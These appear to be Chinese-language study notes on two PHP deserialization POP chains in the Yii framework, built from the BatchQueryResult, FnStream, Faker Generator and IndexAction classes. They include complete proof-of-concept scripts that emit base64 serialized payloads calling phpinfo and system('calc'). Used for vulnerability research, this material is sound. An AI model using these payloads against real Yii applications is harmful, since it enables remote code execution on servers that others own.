一、pop1链的跟踪
1、路由关系
2、漏洞触发口unserialize(base64_decode($data));
2、__destruct(),魔术法方法调用close函数方法
3、未找到利用链,尝试__call魔术方法
4、逆推找call_user_func
函数
第一部分
namespace yii\db;
class BatchQueryResult
__destruct()
$this->reset();
$this->_dataReader->close();
_dataReader=new FnStream();
第二部分
return call_user_func($this->_fn_close);
$_fn_close="phpinfo"
Poc链
<?php
//链子逆向这写
namespace GuzzleHttp\Psr7{
class FnStream{
var $_fn_close = "phpinfo";
}
}
namespace yii\db{
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new FnStream();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
5、动态调试
二、pop2链利用分析
1、跟踪call魔术方法到format
format
call_user_func_array($this->getFormatter($formatter), $arguments);
第一个参数可控
2、调用run方法
$this->checkAccess, $this->id,控制这两个参数
第一部分
namespace yii\db;
class BatchQueryResult
__destruct()
$this->reset();
$this->_dataReader->close();
第二部分
__call()
$this->format($method, $attributes)
return call_user_func_array($this->getFormatter($formatter), $arguments);
第三部分
call_user_func()函数方法找到run
Poc:
<?php
//链子逆向这写
namespace yii\rest{
//对参数checkAccess,id控制rce
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'calc'; //命令执行
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct()
{
//最核心的地方
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}